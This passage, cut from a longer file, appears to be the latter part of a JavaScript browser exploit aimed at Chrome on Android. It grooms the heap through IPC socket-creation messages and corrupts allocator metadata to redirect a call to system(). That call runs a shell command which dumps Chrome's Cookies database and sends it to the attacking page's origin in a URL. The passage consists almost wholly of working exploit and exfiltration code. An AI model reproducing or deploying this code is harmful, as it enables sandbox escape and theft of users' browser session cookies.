MInt(4), // params[0].size
MInt(guessedAddress + bucketOff + 8), // params[0]
MInt(4), // params[1].size
MInt(0)); // params[1]
}


// This is an arbitrary-ish call that allocates an unusually large
// object with a vtable.


var bucket, bucketInBrowser;
var socket_id = 1000;
outer:
for(var i = 0; i < 100; i++) {
var P2P_SOCKET_TCP_CLIENT = 3;
messageSend(0x7fffffff, 0x00190044, // P2PHostMsg_CreateSocket
MInt(P2P_SOCKET_TCP_CLIENT), // type
MInt(++socket_id), // socket_id
// local_address
MInt(4), // address.size
MInt(0), // address
MInt(0), // port
// remote_address
MInt(4), // address.size
MInt(0x80808080), // address
MInt(1234)); // port


call(funcs.usleep, 20000);




for(var bucketOff = 0x200; bucketOff < 0x1000; bucketOff += 0x100) {
bucket = bucketStart + bucketOff;
if(read32(bucket + 8 + 0x5c) == P2P_SOCKET_TCP_CLIENT) {
bucketInBrowser = guessedAddress + bucketOff;
break outer;
}
write32(bucket, 0);
}
if(i == 100000) throw new Error("Didn't get allocated or wrong allocation or something");
}


// There's probably a simpler way but... I've never actually had a
// chance to use system in an exploit before :]
write32(bucket + 8, bucketInBrowser - 4);
// don't reuse please, this will be unmapped
write32(bucket + 4, 0x10000 | CINUSE_BIT | PINUSE_BIT);
write32(bucket, funcs.system);
var url = window.location.origin + '/sb.png';
copystr(bucket + 12, '; am start --user 0 -a android.intent.action.VIEW -d "' + url + '?`hd -c 1024 /data/data/com.android.chrome/app_chrome/Default/Cookies`" & kill $PPID');
messageSend(0x7fffffff, 0x00190052, // P2PHostMsg_DestroySocket
MInt(socket_id));


} catch(e) {
xerr = e;
}


// ok, we're done...
setNonblock(pipe_, true);


call(funcs.usleep, 100000);
write32(myfutex, 0);
call(funcs.futex, myfutex, FUTEX_WAKE, 1000);


//messageSend(0xfffffffe, 0xfffe);


if(xerr) {
alert('Exception: ' + xerr + '\n' + xerr.stack);
crash();
} else {
alert('?');
}


}


function dlsym(name) {
copystr(callbuf + 0x28, name);
var result = call(dlsym_addr, 0xffffffff, callbuf + 0x28);
if(result == 0)
throw new Error("couldn't find " + name);
return result;
}


try {
initialOverwrite();
launderBuffers(buffersToForce, 'saveBuffersToForce', sniffAroundInHeap);
} catch(e) {
alert('Exception: ' + e + '\n' + e.stack);
}


</script>